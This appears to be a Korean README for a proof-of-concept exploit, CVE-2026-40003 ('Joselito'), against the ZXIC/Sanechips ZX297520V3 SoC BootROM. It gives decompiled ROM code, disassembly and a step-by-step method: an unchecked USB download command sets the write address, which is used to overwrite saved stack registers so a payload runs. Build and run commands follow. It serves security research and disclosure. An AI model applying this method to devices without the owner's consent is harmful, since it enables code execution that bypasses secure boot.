
CVE-2026-40003에 대한 익스플로잇으로, ZXIC/Sanechips ZX297520V3 SoC BootROM의 임의 메모리 쓰기 취약점을 이용하여 USB 다운로드 모드를 통한 코드 실행을 가능하게 합니다.
CVE-2026-40003, 일명 Joselito는 ZXIC/Sanechips ZX297520V3 SoC BootROM에서 발견된 임의 메모리 쓰기 취약점입니다.
[!CAUTION] 이 PoC는 연구 목적으로만 공개되었습니다. 이 익스플로잇을 악의적인 목적으로 사용해서는 안 됩니다. 소유하지 않은 기기나 소유자의 명시적 동의 없이 익스플로잇을 사용하지 마십시오.
이 취약점은 2026년 3월 이후 최신 SoC 개정판에서 수정되었습니다. 패치된 칩을 사용하는 알려진 제품은 아직 없습니다. 기존의 모든 기기는 취약합니다.
요약: 로더 코드를 확인하세요.
BootROM은 스택 포인터가 0x81FF0인 0x4 주소에서 시작합니다. 코드는 특수 테스트 포인트 또는 플래시에서 이미지를 로드하는 기능을 기반으로 모드 선택을 수행합니다. BootROM이 플래시에서 이미지를 로드하거나 검증하지 못하면 USB 다운로드 모드로 폴백합니다.
이 동작은 여기에서 확인할 수 있습니다:
v0 = MEMORY[0x13B004] & 7; // hardware pin
switch ( (char)v0 )
{
case 0:
if ( nand_init() )
goto LABEL_12;
parse_header((Header *)0x8A000);
v4 = "\nMODE:NAND\n";
goto LABEL_11;
case 1:
if ( !nand_init() )
{
parse_header((Header *)0x8A000);
uart_puts("\nMODE:USB-N\n");
}
usbdl_init(0x1500000);
v5 = "TURN TO NAND\n";
goto LABEL_16;
/* ... */
LABEL_16:
uart_puts(v5);
LABEL_7:
verify_and_jump((Header *)0x8A000, 0, 1);
break;
usbdl_init 함수는 USB IP를 초기화하고 다운로드 루프에 진입합니다:
void __fastcall usbdl_init(int usb_base)
{
char *v1; // r0
if ( usb_base == 0x1500000 )
{
alt_usb_base = 0;
usb_init();
}
else
{
alt_usb_base = 1;
noidea();
}
if ( usb_setup() )
{
try_sync_with_host();
v1 = "FAILED\n";
}
else
{
v1 = "\nNOLINK\n";
}
uart_puts(v1);
}
디스어셈블러 출력:
ROM:00001F68 ; void __fastcall usbdl_init(int usb_base)
ROM:00001F68 usbdl_init ; CODE XREF: entry+5E↑p
ROM:00001F68 ; entry+7C↑p ...
ROM:00001F68 PUSH {R4,LR}
ROM:00001F6A MOVS R2, #0x1500000
ROM:00001F6E LDR R1, =dword_8014C
ROM:00001F70 MOV R4, R0
ROM:00001F72 CMP R0, R2
ROM:00001F74 BNE loc_1F80
ROM:00001F76 MOVS R0, #0
ROM:00001F78 STRB R0, [R1,#(alt_usb_base - 0x8014C)]
ROM:00001F7A BL usb_init
ROM:00001F7E B loc_1F88
ROM:00001F80 ; ---------------------------------------------------------------------------
ROM:00001F80
ROM:00001F80 loc_1F80 ; CODE XREF: usbdl_init+C↑j
ROM:00001F80 MOVS R0, #1
ROM:00001F82 STRB R0, [R1,#(alt_usb_base - 0x8014C)]
ROM:00001F84 BL noidea
ROM:00001F88
ROM:00001F88 loc_1F88 ; CODE XREF: usbdl_init+16↑j
ROM:00001F88 MOV R0, R4
ROM:00001F8A BL usb_setup
ROM:00001F8E CMP R0, #0
ROM:00001F90 BEQ loc_1F9E
ROM:00001F92 BL try_sync_with_host
ROM:00001F96 ADR R0, aFailed ; "FAILED\n"
ROM:00001F98
ROM:00001F98 loc_1F98 ; CODE XREF: usbdl_init+38↓j
ROM:00001F98 BL uart_puts
ROM:00001F9C POP {R4,PC}
ROM:00001F9E ; ---------------------------------------------------------------------------
ROM:00001F9E
ROM:00001F9E loc_1F9E ; CODE XREF: usbdl_init+28↑j
ROM:00001F9E ADR R0, aNolink ; "\nNOLINK\n"
ROM:00001FA0 B loc_1F98
ROM:00001FA0 ; End of function usbdl_init
try_sync_with_host는 동기화 바이트(0x5A)를 기다렸다가 메인 루프에 진입합니다.
void try_sync_with_host()
{
int v0; // r4
unsigned int i; // r0
int v2; // r5
int v3; // r2
int v4; // r3
int v5; // r2
int v6; // r3
int v7; // r0
v0 = 0x805A0;
time_to_boot = 0;
for ( i = 0; i < 0x40; ++i )
*(_BYTE *)(i + 0x805A0) = 0;
g_state = 0;
v2 = 0x200;
if ( usb_recv(byte_805A0, 0x200, 0x5A) == 1 ) // 0x5a = ack sent by the host
{
uart_puts("TIMEOUT\n");
}
else
{
resp[0] = 0xA5;
usb_send((int)resp, 1, v3, v4);
g_state = 1;
while ( !time_to_boot )
{
v7 = sub_11CA(v0, v2, v5, v6);
handler(v0, v7);
if ( g_state == 4 )
{
v2 = size;
v0 = start_addr;
}
else
{
v0 = 0x805A0;
v2 = 0x200;
}
}
verify_and_jump(unk_80160, 0, 1);
}
}
핸드셰이크가 완료된 후 BootROM은 메인 루프에 진입하여 일반적으로 벽돌된 기기를 복구하는 데 사용되는 스테이지 1 바이너리를 기다립니다. 그러나 BootROM은 대상 주소를 검증하지 않으므로 0x7A 명령을 통한 임의 쓰기가 가능합니다. 0xA1 상태는 이미지 주소와 크기가 수락되었음을 의미합니다.
usb_send:
resp[0] = status;
v5 = 1;
v6 = resp;
return usb_send((int)v6, v5, state, v3);
case 3u: // 0x7A
if ( *(int *)&resp[4] >= 4 )
{
if ( *(int *)&resp[4] < 8 )
*(_DWORD *)&resp[12] = (*(_DWORD *)&resp[12] << 8) | result;
}
else
{
*(_DWORD *)&resp[8] = (*(_DWORD *)&resp[8] << 8) | result;
}
v3 = *(_DWORD *)&resp[4] + 1;
*(_DWORD *)&resp[4] = v3;
if ( v3 != 8 )
continue;
*(_DWORD *)&resp[4] = 0;
start_addr = *(_DWORD *)&resp[8];
size = *(_DWORD *)&resp[12];
g_state = 4;
status = 0xA1;
goto usb_send;
verify_and_jump 함수는 기기가 퓨즈된 경우 이미지 검증을 수행합니다.
int __fastcall verify_and_jump(Header *a1, int zero, int must_verify)
{
int *p_sp; // r6
int result; // r0
p_sp = (int *)&a1->sp;
result = memcmp((int)a1->magic, 0x80008, 2u);
if ( !result )
{
if ( !zero || (result = a1->usbdl_en, result == 0x5A) )
{
if ( !must_verify )
return jump(p_sp);
result = verify(a1);
if ( !result )
return jump(p_sp);
}
}
return result;
}
verify 함수는 하드웨어 MD5 및 RSA 엔진을 사용하여 이미지의 무결성을 검증하며, jump는 이미지 헤더의 주소로 스택 포인터를 설정하고 엔트리포인트로 점프합니다.
ARM/Thumb 호출 규약에서 함수 호출은 일반적으로 PUSH {regs, LR}로 시작하고 꼬리 호출, BX LR 또는 POP {regs, PC}로 끝납니다. usbdl_init은 컴파일러에 의해 꼬리 호출로 최적화되지 않았으므로 PUSH 및 POP 명령을 포함합니다.
이미 아이디어를 얻으셨나요?
BootROM에는 일회성 다운로드 플래그가 없으므로 원하는 만큼 많은 이미지를 보낼 수 있습니다. 익스플로잇은 이 기능(자체적으로 취약점은 아니지만)을 임의 메모리 쓰기와 함께 악용합니다.
entry 함수: PUSH {R3-R7,LR}) + 2 (usbdl_init 함수: PUSH {R4,LR}). 레지스터 크기를 곱하면 8 * 4 = 32LR 레지스터로 점프 주소를 보냅니다 (단순화를 위해 PoC는 모든 저장된 레지스터에 동일한 주소를 반복합니다)verify_and_jump 함수는 usbdl_init으로 반환됩니다usbdl_init은 FAILED를 출력하고 POP {R4, PC} 명령을 실행하여 페이로드를 실행합니다sudo apt update && sudo apt install curl llvm gcccurl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh 또는 배포판별 패키지 관리자를 사용하여 rustup을 설치합니다. "$HOME/.cargo/env" (bash) 또는 source "$HOME/.cargo/env.fish" (fish)cd payload && ./build.sh && cd ..sudo -E cargo r -p loader -- target/thumbv6m-none-eabi/release/payload이제 USB 다운로드 모드(특수 테스트 포인트 또는 손상된 플래시)가 트리거된 기기를 연결하고 UART 출력을 확인합니다.